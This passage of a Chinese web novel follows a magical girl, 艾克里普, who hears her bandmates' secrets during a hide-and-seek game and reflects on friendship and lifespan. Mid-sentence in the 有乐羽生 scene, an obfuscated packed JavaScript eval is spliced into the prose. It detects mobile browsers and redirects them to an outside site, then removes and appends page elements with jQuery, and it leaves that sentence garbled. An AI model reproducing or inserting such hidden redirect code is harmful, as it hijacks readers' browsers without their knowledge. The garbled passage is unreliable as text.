“所以无论如何我都会想办法和艾克里普一直是朋友的,哪怕是没办法的时候,我也会想想办法的。”森山寺未央尽可能地传达自己的想法,“我想一直一直和大家做朋友,所以我会一直想办法让艾克里普看到我的。” 那你呢?艾克里普,你能有这样的觉悟吗? 我不知道,阿尔卡纳国王,我不知道,但是,但是我也想要和大家一直一直做朋友,我想要回应这份努力,未央的努力也得有个回报才行,对吧? “那我们就一起努力,让我们一直是朋友吧!”艾克里普也握住了森山寺未央的手,“我也会想办法的!” 实在不行到时候就把这幅眼球摘了吧,艾克里普心中有了打算。 “我们一定能做到的!我这么聪明,什么办法都想得出来的!”森山寺未央非常高兴,“说起来艾克里普之前有遇到别人吗?有听到别的秘密吗?” “有遇到未雅,她的秘密可真是吓了我一跳呢。”艾克里普如实回应到,“不过我不能说啦,未央实在想知道的话去问未雅如何?” “她绝对不会说同一个的吧!”森山寺未央很了解自己的姐姐。 “是秘密就可以了吧?”艾克里普笑着问。 “她肯定会用什么冷门小知识糊弄过去的,不过这样也不错啦。”森山寺未央说着又开始穿过地上的杂物噼里啪啦地开始找东西,“我再找找看之前的东西,艾克里普去楼上看看吧?对了别忘记去花园里也找找!” “那我先走啦。”艾克里普说着,转身上楼离开。 这栋房子除了地下室以外一共三层,第二层是森山寺夫妇的房间,第三层是森山寺姐妹的房间,艾克里普沿着楼梯上行,路过二楼窗户时往外看,并没有看到花园里有谁在。 底下是垃圾箱,四周是花园,艾克里普忽然感觉上方似乎有什么,抬头一看,是犬山晓坐在窗户上方的挡板上,二人目光相接。 “被发现了。”犬山晓接受自己被发现了,翻身跳回了窗户里面,“这里几乎可以说是捉迷藏的王牌隐藏点了吧,我是最后一个被发现的吗?” “也不是,我还没找到羽生。”艾克里普如实说道。 “好吧,我就知道。”犬山晓笑了笑,“硬币原来是艾克里普抽到的啊,去楼上聊吧?” 艾克里普点了点头,二人前往上楼,找了个有地毯的角落坐下了。 “不过我不是一开始就被找到的,未央和未雅都在我前面,努力还是有点用的吧。”犬山晓对这个结果感到十分满意了。 “确实,不过我看到这个硬币的时候也吓了一跳呢。”艾克里普说道,没有谈及那两个人基本上没有在认真玩捉迷藏。 “确实,艾克里普只吃了一个泡芙来着。”犬山晓有些羡慕这样的好运气,“要说一个秘密啊,能说的事情很多呢,不过我也不清楚有一些大家是不是已经知道了。” “晓平时说话不是很多,我也想了解晓有什么秘密呢。”艾克里普说道。 “那,我把克拉拉的实验室门密码告诉你?”犬山晓问道。 “这个,这个不太好吧!”艾克里普觉得这个不太好。 “也对,虽然她让我保密,但这不能完全算是我自己的秘密吧。”犬山晓有些不好意思,“抱歉,让我想想看。” 艾克里普认识眼前这个孩子,也知道她的本性。犬山晓是个努力并且愿意脚踏实地成长的孩子,她追逐着的是最为普通,最为平凡的幸福生活。但因为她的过去不算顺遂,所以哪怕是现在这样不太和平的日子,也是她一步步辛苦地走到这里的。她的内心不算强大,但她自己也知道这一点,平时小心翼翼地保护自己的同时也担心自己的不同被人察觉到。 也是因为这一点,在一开始犬山晓提出要组成乐队的时候,艾克里普认为她也是抱着与自己相同的“想和同类待在”一起的心态提出来的。但在后续她也理解了即使她们全都是普通的学生,那这支乐队也会被组成的,只不过名字可能是另一个名字,团队的性质也会变个样吧。 与其它三位不同,犬山晓在与艾克里普相遇之前就已经作为魔法少女独立活动过很久了,她已经有了成熟的魔法使用方式,也明白如何让魔法为自己所用,不仅仅是消灭魔物,也有在其它任何日常生活中的作用。 艾克里普赞同这种让魔法融入日常生活的使用方式,毕竟她自己也是这样做的。所以她才更不能理解为何犬山晓都这样做了,却还是学着普通人的样子去修炼自己。 在艾克里普看来,犬山晓所面对的问题虽然说难以根治,但只要控制得当,在每次出现问题时,无论是艾克里普还是犬山晓自己本身,都能有足够的能力去解决。用普通人的方式去克制,锻炼自己根本就是无用的,哪怕是为了普通人度过的体验日常生活,也有更加高效的方式来获得幸福感才对,更别提她所经过的时间已经远超体验期了。 想到这里,艾克里普又想起了自己那消失不见的事务所,不免叹了口气。 67.第四行 “咦?艾克里普怎么叹气了?”还在思索的犬山晓被叹气声吸引了注意力,“抱歉,我思考得太久了吗?” “没有的事,是我想到了别的事情。”艾克里普看着犬山晓关心的视线,想了想说道,“其实是我想起了夜藤事务所建筑消失的事情,不过这件事很快就能被解决的,晓不用担心啦。” “那在这件事解决之前,艾克里普有能去的地方吗?”犬山晓还是担心这一点。 “我不需要睡眠的啦。”艾克里普对于犬山晓的坚持感到无奈,“我们之前不是也遇到过吗?好几天不回事务所才是我的常态哦,大多数情况下我也只是在事务所门口看一眼也没有来信就离开了,现在这样也没区别不是吗?真的不用担心我这一点啦。” “这样吗?”犬山晓意识到艾克里普不想让她担心这些,但她还是感到十分担心,她挂念着艾克里普,因为她与自己相同,都是独自选择踏入人类社会的存在。 “没错。”艾科点头。 “这样的话,我想到了一个合适的秘密,只告诉艾克里普一个人哦。”犬山晓想到了一个很适合告诉艾克里普的秘密。 “是什么呢?”艾克里普有些期待。 “我其实在别的城市有偷偷去上学过,不对不能叫偷偷去上学吧。总之,那个时候有很多那种申请起来很方便的学校,对户籍的考核也不是很严。”犬山晓手都不知道该往哪里放,“果然很奇怪吧这件事?诶要不换一个吧这个其实也没什么大不了的啦。” “不,就说说这个吧,当时晓也是一边上学一边作为魔法少女战斗着吗?”艾克里普对于这样的经历十分在意,“为什么后来又来到这座城市了呢?” “好吧,那我就来详细说一下。”犬山晓清了清嗓子,把手放在膝盖上,“实际上我的名字里,只有‘晓’这个字是属于我的,我更换过许多次姓氏,在不同的城市中生活过。” “那这样来说的话,犬山,果然就是来自那个犬山家族的吗?”艾克里普联想到了这一点。 “这很有可能,不过当时我没想过这么多。”犬山晓摸了摸头发,“那个时候我还没有对未来的生活做好详细的打算,只是先走一步看一步,靠着魔法,无论在哪里都能生存下去。” “没错,就是要这样!魔法会永远是我们的好帮手的!”艾克里普点头。 “我当时也是这样想的。”犬山晓笑了,“无论是什么,魔法都可以方便又快速地解决,人类社会中的大部分物资都是如此。而且我当时其实就已经不太需要靠进食来补充体力了,每天就只做自己想做的事情,随心所欲,靠内心的感受作为判断的标准。” “我认为这样比较好,不过晓现在完全不是这样做的。”艾克里普有些疑惑。 “是的,我在每个城市都没办法待太久,不知道为什么,只要我在一个地方待得久一点,就老是会有一大帮人时不时跑出来追杀我。那样说实话还挺吓人的,而且就因为这个我没办法拥有一个固定的居所。短时间还好,用空间魔法放东西还算方便,后来我就发现这样其实也不太好,一想到要搬家,心里总是会空一下。”犬山晓说。 “我也是这样!人类社会的规则很麻烦对吧?”艾克里普听着连连点头,“而且布置魔法工坊也需要一个固定的室内居所,老是换地方真的很麻烦!” 在这一点上惺惺相惜的二人看彼此都觉得对方很辛苦。 “总之后来有一次我换了个新的地方住之后,被当时的房东问,你怎么不去上学?”犬山晓比划着说,“其实我老是被问这种问题,我的回复一直都是‘身份不允许’什么的,但是那个房东却说什么都要送我去上学,我想着试试看也行,就去当地的公立学校读初中了。但是我后来就渐渐的不去上学了,还是瞒着房东的。” 犬山晓说到这部分的时候表现的有些怀念。 “不上学或者说不工作的话,时间是过得很快的。”犬山晓叹了口气,“后来我想回去看看的时候,时间已经过去太久了,房东也早就知道我逃学的事情了。她当时骂了我,我一气之下就离开了那个地方,但是离开了又一直想,于是不久之后我回去看她,发现那里已经有新的租户,是附近的大学学生来着。” “这种经历我也有过,这些人也不理解我们的特殊之处,所以以常人的视角来看我们也是情有可原的。”艾克里普说道,她想起了夜藤夫妇。 犬山晓与她的经历十分相似,这使艾克里普听着听着眼前就会浮现出来过往记忆的画面。那时她们说话的画面又浮现在了眼前。 “那艾克里普是怎么回应的呢?”犬山晓好奇地问。 “我只是一直尽力做我能做的,更多就没办法了。”艾克里普无奈地笑了。 “这样啊,那我还挺没用的,哈哈。”犬山晓不好意思地笑了两下,“当时我都没去看她的反应,立马转身就跑走了,我跑得很快,跑了很远,回过神来天都黑了。当时脑子也不知道是怎么想的,只是觉得得离那里越远越好,回头看的时候路已经找不到了。” “…这样啊。”艾克里普觉得这样其实是有点遗憾的。 但她又觉得,这样的遗憾只是一种擅自的揣测。就像是遗憾宠物与主人分开一样,是一种居高临下的看法,艾克里普不愿意这样想。 “后来我在很多个地方走走停停,换了新名字之后就去学校看看,但也总是待不了多久。学不到东西,交不到朋友,但我就是挺喜欢学校的。所以后来我就决定在一个新的地方改过自新好好做人,什么的。”犬山晓说到这里耳朵都红了,“拜托一定不要告诉大家,拜托了!” “咦?为什么?”艾克里普对犬山晓这幅对过去避之不及的态度有些疑惑,“我不会说的,我保证!不过晓为什么不想让大家知道这件事呢?” “因为,知道我过去是这样的话,不会觉得我是个很不成熟而且三分钟热度的人吗?”犬山晓扯了扯头发,“而且还有点像小混混,我现在也有很多事情要学呢。” 如果以犬山晓自己所言的过去来看,那确实是没什么建树,并且没有什么拿得出手的成绩的。但在艾克里普看来,这代表着犬山晓独自一人在几个城市之中一边讨伐魔物一边在社会中生存,是非常了不起的事情。 更别提她一直以来的种种行为在艾克里普眼里都是有责任心的表现,不仅仅是作为魔法少女,同样是作为一个高中学生。 “作为我们乐队的队长,你已经足够有责任感了!而且以后还有的是机会学到新东西呢,大家都是这样成长过来的呀。”艾克里普安慰道。 “队长吗?这样说起来,一开始我说要组乐队其实也是因为觉得这样比较有普通高中生的感觉,而且有个团队的话,说不定我能坚持得更久一点。”犬山晓比划着解释说,“一个人的话说不定我哪天就跑走了,但是现在这样我肯定不会跑走的啦。” “没错,大家都在看着呢,而且有这样一个团队的话,大家也有理由聚集在一起了。”艾克里普笑着说,“无论起因如何,我都很感谢晓能提出组成一个乐队,大家能这样聚集在一起也是因为演出的原因。” 就是因为演出录像被森山寺夫妇看到,她们惊讶自己女儿交到的朋友,所以才邀请所有人来这里聚餐,并有了今晚的一切。 艾克里普喜欢大家待在一起的感觉,比待在自己的事务所二楼更喜欢一点。 “我很喜欢我们的乐队,一直以来我的运气都不太好,但如果说是为了遇到大家的话,那这一切对我来说都是值得的,无论如何我都会一直待在这里的。”犬山晓郑重地说道。 但艾克里普却没办法说出同样的话来,她不认为自己的人生归自己所有,所以没办法说“我的人生价值就在此”这样的话来。 你的人生还长着呢,艾克里普,这只不过是一小部分,你没办法做出承诺的。 是的,阿尔卡纳国王,但是我想要回应这种期待,因为每当我看见大家的时候,我都会感受到发自内心的开心。 “我,我想要写一首能经久流传的歌!至少要能流传一百年左右吧。”艾克里普郑重地说。 “一百年吗?可是我们现在粉丝还只有个位数诶。”犬山晓讶异地说,“不对不能这么说来着,总之,先试试看能流传一两年的歌如何?” “一两年就能忘记的歌没什么存在的意义吧。”艾克里普说道。 “那就十年?”犬山晓很好说话。 “十年也不是很长啦。”艾克里普叹了口气,“为什么不能是一百年呢?我会把古往今来所有的好寓意都放进歌词里的。” “那这样来说的话,为什么只是一百年,而不是更长的时间呢?”犬山晓问道。 因为你们大概只能活这么久,再长的时间只会在你们消失之后让我感到痛苦,艾克里普心想。 “因为,”艾克里普想找到一个合理的解释,“因为一百年之后我就会写一首新的歌,并且流行起来啦。” “这样。”犬山晓看着艾克里普笑了,“那十首的话就是一千年,艾克里普会写十首歌吗?” “我会的!”艾克里普可以做出这样的承诺,感到有些开心。 “那艾克里普就会记住我们一千年啦!”犬山晓也开心地笑了,“我相信有被记住就可以算是活着,我们的乐队这下至少可以活一千年啦!我作为队长很自豪哦。” 可那九百年里我该怎么办呢?时间魔法可行不通啊。艾克里普这样想着,心里忽然又失落了起来,无法信守的承诺就不该被说出口。 “…我可能记不住。”艾克里普轻轻地说,“我可能,没办法让这支乐队活一千年。” “那就一百年吧。”犬山晓很好说话。 “如果能是一千年就好了,我们不可以一起度过一千年的时间吗?”艾克里普问。 “走一步算一步如何?先来一起度过一百年吧,到那个时候,我们再来谈下一个一百年的事情吧。”犬山晓说道。 “为什么不能现在就谈论千年呢?”艾克里普追问道。 “…艾克里普,我明白你为何会这样想,因为我也是这样的。”犬山晓慢慢地说,“之前的时光如此虚无,一眨眼就过去了那么多,现在的这些时间如此美好珍贵,若是又是一眨眼,那再睁眼之后就所剩无几了。” 常人若说自己余命百年已是至福,但对艾克里普来说,这个数字后面要加上一个零才能勉强让她感到安心。友人百年之后,她或许就会像那些鹦鹉一样不再能融入其它任何同类之间了,她听见过那些没有语言也能理解的呼嚎,她害怕。 “其实用魔法的话一千年也不是完全没有办法。”艾克里普越说越觉得可以这么做,“没错,一定是可以的,魔法一定可以做到,不如说什么都可以。” “可是使用魔法的话一切就不会再是现在这幅模样了。”犬山晓说。 “怎么会呢?晓也说了,魔法就是能轻而易举地达成目的呀?”艾克里普急切地反驳。 “魔法能做到的事情,如果我自己来做的话,就能收获更多的东西,而且能获得更多的幸福。”犬山晓看着艾克里普认真地说。 “那些都是没有用的!”艾克里普忍不住说了出来,“明明那些锻炼和自我克制对于晓来说都是没用的,你自己也知道的不是吗?为什么不多依靠魔法一些呢?无论什么魔法我都会,我都可以教你们的,这样的话根本就不需要考虑那些困难了不是吗?” “困难与考验也并不是一定要避免的吧。”犬山晓思索着说。 “…可是,我觉得这样的晓很可怜。”艾克里普扶住了犬山晓的双肩,“你已经度过了那么多我们没有参与的过去了,有好多遗憾,现在也没办法随心所欲。” “你觉得这样是可怜的吗?不要因为我的过去可怜我,也不要因为这个就感到遗憾。痛苦确实存在,但过去对我而言是有意义的,艾克里普也一定是这样的。”犬山晓坚持这一点。 有意义吗?艾克里普忍不住去想,怎么会有意义呢?她的过去全都充斥着如蒙了灰一般没有出彩之处的片段。 “艾克里普,你有交到朋友吗?”这样的话她听过太多次,都背下来了。 人类的友谊对艾克里普又算什么呢?今时不同往日,对现在的艾克里普来说,友谊是可以珍视的,需要保护的奇迹,但在百年之后也有可能会变成某种未知的毒药吧。 “朋友,是这样的吗?”艾克里普放开了犬山晓。 “可能吧,我也不确定。”犬山晓想了想说,“不过至少我们大家都是这样的吧。” “既然是这样的话,就没有办法了。”艾克里普叹了口气,“那就先写百年的歌吧。” “那也很了不起了,要找灵感的话这里倒是有很多书。”犬山晓指向一旁通往阁楼的楼梯,“刚才我上去看过,上面好多书。” “另外两个是未央和未雅的房间吗?那就先不进去好了。”艾克里普起身决定去阁楼看看。 “那件事绝对不能和大家说哦!”犬山晓再三强调。 “不会说的啦。”艾克里普无奈地保证。 “事务所恢复之前要来我的宿舍客厅住吗?就在日之森对面。”犬山晓问道。 “真的不用担心这个问题。”艾克里普笑了。 “我也不怎么回去就是了,总之我会把阳台的门开着。”犬山晓说。 “…谢谢。”艾克里普道谢。 通往阁楼的楼梯宽度很窄,灯光不太明亮,越往上走越能感受到灰尘的存在感。 以艾克里普的身高,抬起头就要小心天花板了,她微微弯着腰往里面走,绕开各种堆放在四周的杂物,以昏暗的感应灯灯光摸索四周。 阁楼中央有扇天窗,提供了些许光亮,一口小小的正方形映出夜空,那下方,有乐羽生正站在一台天文望远镜旁边弯着腰看。 “是艾克里普呀,果然艾克里普的运气是最好的呢。”有乐羽生抬起头来,笑着招呼艾克里普,“这里居然有台天文望远镜,虽然我不太会用,但这样随便看看也能看到星星呢。” 艾克里普站在有乐羽生身边抬头,她不需要天文望远镜也能看到星星,但她想起之前犬山晓所说的话,不由得低下头去打量那台有些落灰了的观星器械。 “这样看的话和平时在天上看总感觉不太一样。”有乐羽生说,“而且用这个看的话能看得更清楚些呢。” “羽生喜欢星空吗?”艾克里普问道。 “还可以,我更喜欢晴空一些,不过只要是天空就足够美丽了。”有乐羽生笑着回答道,“说起来艾克里普是来找我要秘密的吧,我之前一直在想这件事呢,毕竟过往的人生没什么可圈可点的地方值得拿出来说。” 艾克里普认识眼前这个孩子,也知道她的本性。有乐羽生的内心是清澈的,一眼就能看到那单纯的内核。虽然其常年经受的教育所学到的各种礼仪话术足以让她与任何成年人进行一对一谈话,但她的本质依旧是清澈而飘忽不定的,并没有被那些影响到。她的母亲或许希望她成为老谋深算的成年人吧,但艾克里普希望她能一直保持这幅模样。 好在作为魔法少女,有乐羽生确实会一直保持这幅模样了,包括她身后的那幅羽翼一起,代表着有乐羽生这个人是绝对不会永远停留于地面的存在。艾克里普认为教导有乐羽生是一件很轻松的事情,大多数魔法她都能迅速地学会,不过精通的倒是只有那么几种就是了。即使是这样她现在也能独自面对魔物进行战斗了,以她的心性,成为独当一面的魔法少女只是时间问题。 这样一想的话,艾克里普就会想起以前一直没有遇到过有乐羽生或许是因为她大部分时间都飞在高空的原因吧。只有在击杀魔物的时候会落地,再加上有乐羽生的特征让她尤其擅长隐形魔法,本身就非常难以被发现。 即使是这样的有乐羽生也常常因为她的父母而感到懊恼,艾克里普也曾见过那位有乐千奈,她就是艾克里普最不愿意直视的那种人。艾克里普在可怜有乐羽生受困于家庭的同时也偶尔会疑惑为何她能忍受这样的家庭环境,尤其是在掌握了熟练的魔法的现在,她完全能够自己控制自己的人生了。 “羽生以后会考虑自己搬出来住什么的吗?”艾克里普问道。 “肯定是会的,不过这个肯定大概就是指很久以后的事情了。如果要说最近,精准到一两年内的话,大概是不会的吧。”有乐羽生说道。 “那和母亲打交道一定很辛苦吧。”艾克里普皱眉,却也没有再说更多了。 “已经打交道十五年了,再多几年也没关系啦。”有乐羽生的态度反而很随和,“难道说艾克里普其实见过我的母亲吗?” “是的,远远地见到过,是一位,很雷厉风行的大人呢。”艾克里普想了想说。 “很可怕对吧?很多人害怕母亲她来着,我也很害怕她呢。”有乐羽生毫不避讳地说,“我有的时候就会想,既然我是她的孩子,那我会不会长大以后也变成那样的人呢?” “那真的没办法想象啊。”艾克里普想了想就觉得恐怖,“但这确实没办法明说,毕竟那是三十年之后的事情了,或许那个时候羽生会不得不变成那样吧。” 这样的可能性让艾克里普感到不可置信,哪怕只是为了应付外人,变成有乐千奈那样的有乐羽生也会令她感到无比的陌生。 “如果我变成那个样子的话,艾克里普还会和我做朋友吗?”有乐羽生问。 “会的!”艾克里普回答得很快,“哪怕羽生变得很可怕也还是羽生呀。” “哎呀,这么说的话我可真的要很开心了。”有乐羽生又开心又不好意思,“对了要说个秘密来着,不过我实在是想不出来有什么可以说的呀。” 听过之前几个人的秘密之后,艾克里普也理解了她听到的秘密实际上是“需要坦白的一些事情”,虽然说听到之后她有感受到悲伤和不解,但却也更加了解她的朋友们了。 “什么都可以哦,羽生有什么一直想和我说但没有机会的事情吗?”艾克里普问道。 “这个有很多!”有乐羽生毫不犹豫地回答,“比如说艾克里普平时的校服实际上并不是日之森的标准板式,发型其实也是会被风纪委员说‘把头发梳好’的样子,有人来找我问过艾克里普要不要去篮球队试试看,以及艾克里普的摄影课作品,那些很模糊的鸟一看就是艾克里普拍的!” “这样吗?”艾克里普感到十分意外,“不过这些其实也没什么关系啦。” “对呀,大家找不到艾克里普,艾克里普也不会被这些事情影响,所以虽然我知道好多,但也一直没有告诉你。大家其实也是这样的吧,有好多关于艾克里普的事情就只有艾克里普自己不知道。”有乐羽生笑了。 “通过外界认识自己”对于艾克里普而言是一个典型的伪命题,对牛弹琴可能有用,但对一块石头说“你的头发挡住视线了哦”就明显是不会有用的。语言的意义取决于它是否可以被理解或实践,在艾克里普眼里普通人是脆弱的石头,那么同理,她也认可自己对于普通人来说也不过是一块大一点的石头,也就是一座山,仅此而已。 “那些人的反馈对我来说确实没什么意义,大家能通过这些语句来了解我的话也不错,不过如果想了解我的话,和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808000|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我多聊聊比较好哦。”艾克里普回应说。 “其实我们也是这样的,尤其是我们几个。”有乐羽生两只手的食指一起画了一个圆,“我们大家总是在一起玩,不怎么和别的人交流吧,我偶尔能听到有别人也这样讨论我们,听上去可有意思啦!这个不算是秘密,就当作是一个小故事告诉艾克里普吧!” “这样啊!”艾克里普也有些好奇,在常人眼里,自己的同伴是什么样的。 “森山寺同学两个人想做什么或者想要什么就会直接伸手,问了之后回答也很奇怪,而且她们总是两个人在一起说些只有她们能理解的事情,这种人好吓人啊!”有乐羽生模仿有人在窃窃私语。 “明明她们也会解释的!”艾克里普为此打抱不平,“只不过是沟通产生了一些歧义而已。” “犬山同学为什么总是一个人待着呢?我们提出了话题她也只是随便应和几下,是不是根本不想和我们聊天呢?她根本不屑于和我们玩吧,总是一副不耐烦的样子盯着我们。”有乐羽生模仿有人在不屑一顾。 “明明晓是会很认真地对待每一次对话的人,是这群人期待着什么,晓没有回应她们的期待而已。”艾克里普都能想象出来犬山晓面对这种对话时紧张的样子了。 “但是大家都有在通过这些来认知自己,并且改正一些去回应这些人呢,我也是这样。”有乐羽生说,“我经常在想,这样到底算是在附和这个社会,还是算在成长。” “对我们来说,这就是在附和社会,因为我们的本质是不会改变的。”艾克里普摇了摇头。 “这样啊,那就太好啦。”有乐羽生开心地笑了,“那这样的话我确实有一个秘密可以告诉艾克里普!” “是什么呢?”艾克里普好奇地问。 “是关于一开始我构建结界内部的时候,是最开始的那个,大家进去过的那个,那个游乐园,艾克里普还记得里面的样子吧?”有乐羽生比划着问。 “我还记得呢,对于一个新手来说那个心像空间很完善了。”艾克里普点头。 虽然发生了许多事,现在有乐羽生的心像空间大概也不会再是那个样子了,但艾克里普相信有乐羽生现在构筑的心像空间只会比那个更加完善。 “那个时候我们吵架了吧,我还说出了‘你们别管我啦’这种非常任性的话,其实我说出这句话的时候,心里一方面是因为不再对外面的世界抱有期望,另一方面也是有些心虚。”有乐羽生有些愧疚地笑了,她可以说是心胸开阔的代表人物,有这样自我消耗的表现很难得。 “不用这样想哦,我们这不是好好的嘛!”艾克里普笑着说,当时有乐羽生就已经为“给大家添麻烦”道歉了许多次了,后面也承担起了责任,她不认为这还需要再次谴责。 “不是啦,哎呀。”有乐羽生反而更加不好意思了,“那个游乐园里,过山车特别特别多对吧?那其实是给艾克里普准备的,我当时有认真地想过大家来找我的话该怎么办。其中艾克里普是我最没办法的,所以我就想起来艾克里普好像很讨厌过山车来着。” 她说话声音越来越轻,直到最后一句近乎消失在空气中。有乐羽生低下头,又小心翼翼地去看艾克里普的眼睛。 但艾克里普并没有因为这个而感到被同伴算计的生气或悲伤,正相反,她感到非常惊讶,比在现实中抬起头发现大象在天上飞更加惊讶些。 惊讶的点在于“有乐羽生发现艾克里普讨厌过山车,就特意准备了许多过山车试图阻止她”这一点。艾克里普自认是没什么弱点的,她讨厌过山车的原因是那种被强行拽着甩来甩去的感觉实在是不太好受,但也就仅此而已了。 “可是羽生应该也知道,我是不会被过山车拦住的吧,毕竟我也不会主动坐上去。”艾克里普觉得很奇怪。 “因为我本来是打算自己带着你们进游乐园的,这样的话艾克里普就一定会坐上过山车了,最后说不定会因为虚弱而坐在椅子上无法动弹呢。”有乐羽生比划着说,“没想到后面变成那样了,过山车也就变成了单纯的装饰物了。” “我会这样吗?”艾克里普忍不住问道,“即使我坐在椅子上无法动弹,也是能使用魔法的哦。不过那个过山车晓有坐过一次。” “我是这样想的,如果艾克里普因为那么多次被强行带上过山车的经历而不得不坐在椅子上休息的时候,会不会在心里会开始讨厌我,就会放弃我了。”有乐羽生说。 “…我会吗?”艾克里普问道。 怎么会呢?艾克里普忍不住自己反驳道,区区几次过山车,她根本不会因此受伤,魔力也不会被消耗多少,甚至可能不需要坐在椅子上休息,她怎么会因为这种事情就讨厌有乐羽生呢? 怎么会呢?艾克里普感到迷茫,她会吗? “艾克里普自己也不知道吗?”有乐羽生看着艾克里普。 “是的,羽生,我不知道。”艾克里普叹了口气,“这件事对我来说是不重要的,因为我不可能因为过山车而受伤,所以思考这样的可能性也没有必要。哪怕是受了伤,致命伤对我而言也并不是什么严重的问题,我自己都无法想象什么情况下我会虚弱到无法使用魔法。” 这个世界上不存在能伤害到艾克里普的存在,也不存在魔法没办法解决的情况,除了魔法造成的问题本身。 “那就说说我吧。”有乐羽生说,“我因为曾经想这样伤害艾克里普而感到非常地后悔,非常地难过。没有真的发生那种事真是太好了,我发自真心地这样想,以后也绝不会再这样做了。” “没关系的,这种事不会伤害到我。”艾克里普笑着安慰道。 “真的不会吗?我记得的,我说了伤害到艾克里普的话。就连着那句话被说出这件事,我也时常感到后悔。但那时的我却不得不那样说,因为那是那时的我的真心话。我没办法就这样忘记那时发生的事情,也不会忘记那时的我是个什么样的人。”有乐羽生摇了摇头说,“如果说我未曾改变的话,那或许有一天我还会做出那样的事来,可我现在非常喜欢艾克里普和大家,不想让大家讨厌我,也不想再此做出不负责任的事情来。” “魔法少女不会发生改变”这样的话是艾克里普自己说出口的,她看着有乐羽生,看着她的本质,魔法少女不会发生改变,但若是改变之前她就是一个不太善良的孩子呢?艾克里普心想,她所想要产生联系的,到底是“好孩子”还是“不会改变的孩子”呢? 如果魔法少女想要伤害艾克里普的话,她又该怎么办呢? 艾克里普不会说谎的,她说不会受到伤害就是真的认为自己不会。可在有乐羽生的眼里,她却曾经受过伤,那份伤痛她自己都已经覆盖了过去,山上一道裂痕不起眼,却有人时常看向那里。有乐羽生是一个连视线都清澈的孩子,却能因裂痕出现的原因而反过来认知自己。 所以这里不能再用“我不会受伤”这样的原因去解释,要以对自我的认知去解释自己,可艾克里普做不到,她看不见自己的样子。 常人的语言对她来说没有意义,但若是同伴的呢?同伴对她的评价是如何的呢? 可靠,令人安心,精通魔法,远离人烟,以及,讨厌过山车。 “或许有一天,我也会喜欢上过山车也说不定。”艾克里普过了许久之后才开口说道,“所以羽生也能变成一个更好的人吧。” “但我们本质上是不会改变的不是吗?”有乐羽生摇了摇头。 “但是我们学习融入这个社会的一举一动,无论是否发自真心,都已经算是在改变自己的。”艾克里普说,“我会一直看到最真实的你们,一开始也是与最真实的那个你们交谈的。” 但一开始只是因为孤独而已,性格好坏根本无所谓,艾克里普对此心知肚明。 无论她们变好,还是变坏,艾克里普都会一直与她们做朋友的,社会的道德对她而言只是用来审判常人的,她们与她才是同类。 你认为你可以审判人类吗?艾克里普。 为什么不能呢?阿尔卡纳国王,我对人类的一切已经近乎全知全能了。 “一开始知道这件事的时候,我非常害怕,因为我知道自己不是一个负责任的人,在履行魔法少女的职责这件事上做到的也有限。”有乐羽生说。 “羽生已经做的很好了。”艾克里普摇头。 “但是,我现在想做的更好一点,我想让艾克里普因为看到我的成长而夸奖我,想和大家并肩作战,也想保护这里的人。”有乐羽生说着笑了,“艾克里普一直无底线地包容我们,我很开心,很安心哦,但是我也想让艾克里普因为我而高兴。” 看到你们我就已经很高兴了,艾克里普心想。 “不是因为看到自己的同类而安心的高兴,而是因为我所做的事情而感到高兴,就像之前因为我说的话而悲伤一样。我想让艾克里普有这样的感觉,想让你开心!”有乐羽生说。 艾克里普会因为什么样的事情而感到高兴呢?她自己都想不出来。 “我会吗?”艾克里普问道,若是这样的可能性存在的话,那是不是也可以说,艾克里普这个存在也可以考虑关于她自己的事情? 例如高兴或悲伤的原因,例如万事万物对她的意义,例如对过山车的感觉。 “我们会看着艾克里普的,如果你开心或者不开心我们都能发现的!”有乐羽生点头,补充道,“未央的话可能有点迟钝,但是她意外的直觉很准哦。” 艾克里普笑了,哪怕只有百年,她能如此重获新生也足够令她感到喜悦,从而露出笑容。 “这样就好。”她说。 68.第五行 找到有乐羽生后大家聚集在森山寺未雅的房间,因为森山寺未央的房间实在是乱,她们将桌子椅子拼拼凑凑,准备开始写作业。 “这是带给艾克里普的,不过英语的就没办法了。”犬山晓翻出了一份复印件。 “谢谢,我这次会好好写的。英语的作业是短作文,我记得题目呢。”艾克里普接过复印件,不由得又想起了自己消失的事务所。 原来我有这么挂念那里啊,艾克里普意识到了这一点。 “艾克里普的眼镜,难道说还有让老师忽视作业质量的效果吗?”森山寺未央谨慎地提问。 “作业并不是魔法制品所以不会有这样的效果,不过我之前写的时候没怎么认真思考过。”艾克里普说完之后才意识到这可能不太好。 “可能老师想说也找不到人,回头就忘了吧。”森山寺未雅羡慕地叹了口气。 “我们现在可是被老师重点关注着。”森山寺未央翻开了数学作业,“期中考之后的家长会结果如何就看这段时间了!” “家长会,对啊!还有家长会!”有乐羽生倒吸一口气,“高中期中考后有家长会,我怎么能忘记这么重要的事情。” “你的妈妈会参加。”森山寺未雅肯定地说,有乐羽生郑重点头,翻开了数学作业。 “这个是监护人必须参加的吗?”犬山晓放开语文课本问道,半边书本倒在桌上发出重重的倒地声。 “是的,而且如果有家长来不了的话古河老师会上门家访,她在这方面非常负责。”有乐羽生说道,她想起犬山晓的监护人,不免有些好奇,“克拉拉小姐会出席吗?” “…我去问问她吧。”犬山晓无法确定。 “这样说起来艾克里普呢?艾克里普家长会怎么办?”森山寺未央好奇地问。 “国际学生的话监护人不能出席也没办法吧。”艾克里普想了想,“我最近也没出什么问题,如果有事的话古河老师应该会直接来找我?” “毕竟艾克里普就有一种家长的感觉呢。”有乐羽生说。 “确实如此。”犬山晓赞同地点头。 “现在我必须开始写数学作业了,而且必须在半小时内写完,不然就永远写不完了,大家再见。”森山寺未央摸出了一副隔音耳机带上。 “拜拜。”森山寺未雅说。 “高等级数学的作业有这么难吗?”犬山晓有些担心自己的未来。 “数学从某种意义上来说也是一种语言了,等级高了就会变得很有哲学意义。”艾克里普目送森山寺未央离开,“以前很多数学家老了会开始研究神学呢。” 